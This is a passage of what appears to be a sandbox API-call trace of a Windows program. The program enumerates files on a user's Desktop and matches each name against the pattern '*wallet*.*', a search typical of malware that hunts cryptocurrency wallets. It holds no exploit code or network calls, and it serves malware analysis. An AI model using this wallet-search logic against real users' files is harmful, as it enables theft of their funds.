lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\.") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\." [0099.595] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.595] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.595] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7118e330, ftCreationTime.dwHighDateTime=0x1d7a395, ftLastAccessTime.dwLowDateTime=0xf66b4b90, ftLastAccessTime.dwHighDateTime=0x1d7a8db, ftLastWriteTime.dwLowDateTime=0xf66b4b90, ftLastWriteTime.dwHighDateTime=0x1d7a8db, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.595] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.595] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.595] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2=".." | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\..") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\.." [0099.595] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.595] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.595] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4f9d33c0, ftCreationTime.dwHighDateTime=0x1d7accb, ftLastAccessTime.dwLowDateTime=0x1ff5dc10, ftLastAccessTime.dwHighDateTime=0x1d7aebc, ftLastWriteTime.dwLowDateTime=0x1ff5dc10, ftLastWriteTime.dwHighDateTime=0x1d7aebc, nFileSizeHigh=0x0, nFileSizeLow=0xbdd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="4YFnvn DG0jzD_v88d.wav", cAlternateFileName="4YFNVN~1.WAV")) returned 1 [0099.596] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.596] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.596] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="4YFnvn DG0jzD_v88d.wav" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav" [0099.596] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.596] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 65 [0099.596] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x41) returned 0x33ab248 [0099.596] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", cchWideChar=65, lpMultiByteStr=0x33ab248, cbMultiByte=65, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\4YFnvn DG0jzD_v88d.wav", lpUsedDefaultChar=0x0) returned 65 [0099.596] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa668 [0099.596] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab248 | out: hHeap=0x2110000) returned 1 [0099.596] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.596] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430ec0 [0099.596] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430ec0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.596] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430510 [0099.596] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430ec0 | out: hHeap=0x2110000) returned 1 [0099.596] PathMatchSpecW (pszFile="4YFnvn DG0jzD_v88d.wav", pszSpec="*wallet*.*") returned 0 [0099.596] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430510 | out: hHeap=0x2110000) returned 1 [0099.596] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa668 | out: hHeap=0x2110000) returned 1 [0099.596] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4903bb0, ftCreationTime.dwHighDateTime=0x1d7a5f6, ftLastAccessTime.dwLowDateTime=0x17a6ae50, ftLastAccessTime.dwHighDateTime=0x1d7aea7, ftLastWriteTime.dwLowDateTime=0x17a6ae50, ftLastWriteTime.dwHighDateTime=0x1d7aea7, nFileSizeHigh=0x0, nFileSizeLow=0xa614, dwReserved0=0x0, dwReserved1=0x0, cFileName="EpL2Lcy5i7fg_B1.rtf", cAlternateFileName="EPL2LC~1.RTF")) returned 1 [0099.596] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.596] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.596] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="EpL2Lcy5i7fg_B1.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf" [0099.596] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.596] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 62 [0099.597] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3e) returned 0x2112df8 [0099.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", cchWideChar=62, lpMultiByteStr=0x2112df8, cbMultiByte=62, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\EpL2Lcy5i7fg_B1.rtf", lpUsedDefaultChar=0x0) returned 62 [0099.597] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112a50 [0099.597] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112df8 | out: hHeap=0x2110000) returned 1 [0099.597] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.597] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c40 [0099.597] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430c40, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.597] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303f8 [0099.597] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c40 | out: hHeap=0x2110000) returned 1 [0099.597] PathMatchSpecW (pszFile="EpL2Lcy5i7fg_B1.rtf", pszSpec="*wallet*.*") returned 0 [0099.597] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303f8 | out: hHeap=0x2110000) returned 1 [0099.597] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112a50 | out: hHeap=0x2110000) returned 1 [0099.597] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf3b5b0, ftCreationTime.dwHighDateTime=0x1d7a95d, ftLastAccessTime.dwLowDateTime=0x43037790, ftLastAccessTime.dwHighDateTime=0x1d7a9e3, ftLastWriteTime.dwLowDateTime=0x43037790, ftLastWriteTime.dwHighDateTime=0x1d7a9e3, nFileSizeHigh=0x0, nFileSizeLow=0x11fb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LeEEAupCT2yTi9.rtf", cAlternateFileName="LEEEAU~1.RTF")) returned 1 [0099.597] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.597] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.597] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="LeEEAupCT2yTi9.rtf" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf" [0099.597] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.597] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 61 [0099.597] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x3d) returned 0x2112d20 [0099.597] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", cchWideChar=61, lpMultiByteStr=0x2112d20, cbMultiByte=61, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\LeEEAupCT2yTi9.rtf", lpUsedDefaultChar=0x0) returned 61 [0099.597] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x40) returned 0x2112df8 [0099.597] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112d20 | out: hHeap=0x2110000) returned 1 [0099.598] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.598] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430dc0 [0099.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430dc0, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.598] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430650 [0099.598] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430dc0 | out: hHeap=0x2110000) returned 1 [0099.598] PathMatchSpecW (pszFile="LeEEAupCT2yTi9.rtf", pszSpec="*wallet*.*") returned 0 [0099.598] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430650 | out: hHeap=0x2110000) returned 1 [0099.598] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2112df8 | out: hHeap=0x2110000) returned 1 [0099.598] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bf40c0, ftCreationTime.dwHighDateTime=0x1d7a6be, ftLastAccessTime.dwLowDateTime=0xba3b5440, ftLastAccessTime.dwHighDateTime=0x1d7af6f, ftLastWriteTime.dwLowDateTime=0xba3b5440, ftLastWriteTime.dwHighDateTime=0x1d7af6f, nFileSizeHigh=0x0, nFileSizeLow=0xd31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QbxigokTDmP9qF7bIHTm.gif", cAlternateFileName="QBXIGO~1.GIF")) returned 1 [0099.598] lstrcpyW (in: lpString1=0x19c59c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D" [0099.598] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\" [0099.598] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\", lpString2="QbxigokTDmP9qF7bIHTm.gif" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif" [0099.598] lstrcpyW (in: lpString1=0x19c7a4, lpString2="\\MTVwnxmU4D" | out: lpString1="\\MTVwnxmU4D") returned="\\MTVwnxmU4D" [0099.598] lstrcatW (in: lpString1="\\MTVwnxmU4D", lpString2="\\" | out: lpString1="\\MTVwnxmU4D\\") returned="\\MTVwnxmU4D\\" [0099.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 67 [0099.598] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x43) returned 0x33ab928 [0099.598] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", cchWideChar=67, lpMultiByteStr=0x33ab928, cbMultiByte=67, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D\\QbxigokTDmP9qF7bIHTm.gif", lpUsedDefaultChar=0x0) returned 67 [0099.598] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x50) returned 0x33aa878 [0099.598] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33ab928 | out: hHeap=0x2110000) returned 1 [0099.598] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.598] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430e20 [0099.598] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19cbd4, cbMultiByte=11, lpWideCharStr=0x3430e20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.598] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34306f0 [0099.598] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e20 | out: hHeap=0x2110000) returned 1 [0099.598] PathMatchSpecW (pszFile="QbxigokTDmP9qF7bIHTm.gif", pszSpec="*wallet*.*") returned 0 [0099.599] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34306f0 | out: hHeap=0x2110000) returned 1 [0099.599] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa878 | out: hHeap=0x2110000) returned 1 [0099.599] FindNextFileW (in: hFindFile=0x6d1d58, lpFindFileData=0x19c34c | out: lpFindFileData=0x19c34c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0bf40c0, ftCreationTime.dwHighDateTime=0x1d7a6be, ftLastAccessTime.dwLowDateTime=0xba3b5440, ftLastAccessTime.dwHighDateTime=0x1d7af6f, ftLastWriteTime.dwLowDateTime=0xba3b5440, ftLastWriteTime.dwHighDateTime=0x1d7af6f, nFileSizeHigh=0x0, nFileSizeLow=0xd31b, dwReserved0=0x0, dwReserved1=0x0, cFileName="QbxigokTDmP9qF7bIHTm.gif", cAlternateFileName="QBXIGO~1.GIF")) returned 0 [0099.599] FindClose (in: hFindFile=0x6d1d58 | out: hFindFile=0x6d1d58) returned 1 [0099.599] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x60) returned 0x21104a0 [0099.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 42 [0099.599] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x2a) returned 0x34300d0 [0099.599] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", cchWideChar=42, lpMultiByteStr=0x34300d0, cbMultiByte=42, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\MTVwnxmU4D", lpUsedDefaultChar=0x0) returned 42 [0099.599] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x2110508 [0099.599] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.599] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x21104a0 | out: hHeap=0x2110000) returned 1 [0099.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.599] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430e20 [0099.599] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430e20, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.599] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x34303a8 [0099.599] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430e20 | out: hHeap=0x2110000) returned 1 [0099.599] PathMatchSpecW (pszFile="MTVwnxmU4D", pszSpec="*wallet*.*") returned 0 [0099.599] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34303a8 | out: hHeap=0x2110000) returned 1 [0099.599] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x2110508 | out: hHeap=0x2110000) returned 1 [0099.599] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x911b3a90, ftCreationTime.dwHighDateTime=0x1d7af0f, ftLastAccessTime.dwLowDateTime=0xdcfca2e0, ftLastAccessTime.dwHighDateTime=0x1d7afd8, ftLastWriteTime.dwLowDateTime=0xdcfca2e0, ftLastWriteTime.dwHighDateTime=0x1d7afd8, nFileSizeHigh=0x0, nFileSizeLow=0x17cef, dwReserved0=0x0, dwReserved1=0x0, cFileName="p4At.m4a", cAlternateFileName="")) returned 1 [0099.599] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.599] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\", lpString2="\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\" [0099.599] lstrcatW (in: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\", lpString2="p4At.m4a" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a" [0099.600] lstrcpyW (in: lpString1=0x19d124, lpString2="" | out: lpString1="") returned="" [0099.600] lstrcatW (in: lpString1="", lpString2="\\" | out: lpString1="\\") returned="\\" [0099.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0099.600] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x28) returned 0x211ac00 [0099.600] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", cchWideChar=40, lpMultiByteStr=0x211ac00, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\RDhJ0CNFevzX\\Desktop\\\\p4At.m4a", lpUsedDefaultChar=0x0) returned 40 [0099.600] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x30) returned 0x34300d0 [0099.600] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x211ac00 | out: hHeap=0x2110000) returned 1 [0099.600] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x33aa1f0 | out: hHeap=0x2110000) returned 1 [0099.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0099.600] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x16) returned 0x3430c60 [0099.600] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x19d554, cbMultiByte=11, lpWideCharStr=0x3430c60, cchWideChar=11 | out: lpWideCharStr="*wallet*.*") returned 11 [0099.600] RtlAllocateHeap (HeapHandle=0x2110000, Flags=0x0, Size=0x20) returned 0x3430588 [0099.600] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430c60 | out: hHeap=0x2110000) returned 1 [0099.600] PathMatchSpecW (pszFile="p4At.m4a", pszSpec="*wallet*.*") returned 0 [0099.600] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x3430588 | out: hHeap=0x2110000) returned 1 [0099.600] HeapFree (in: hHeap=0x2110000, dwFlags=0x0, lpMem=0x34300d0 | out: hHeap=0x2110000) returned 1 [0099.600] FindNextFileW (in: hFindFile=0x6d1cd8, lpFindFileData=0x19cccc | out: lpFindFileData=0x19cccc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e38f700, ftCreationTime.dwHighDateTime=0x1d7a021, ftLastAccessTime.dwLowDateTime=0xa8628f60, ftLastAccessTime.dwHighDateTime=0x1d7a1d0, ftLastWriteTime.dwLowDateTime=0xa8628f60, ftLastWriteTime.dwHighDateTime=0x1d7a1d0, nFileSizeHigh=0x0, nFileSizeLow=0x158ab, dwReserved0=0x0, dwReserved1=0x0, cFileName="pmDY1nV.m4a", cAlternateFileName="")) returned 1 [0099.600] lstrcpyW (in: lpString1=0x19cf1c, lpString2="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" | out: lpString1="C:\\Users\\RDhJ0CNFevzX\\Desktop\\") returned="C:\\Users\\RDhJ0CNFevzX\\Desktop\\" [0099.600] lstrcatW (in: 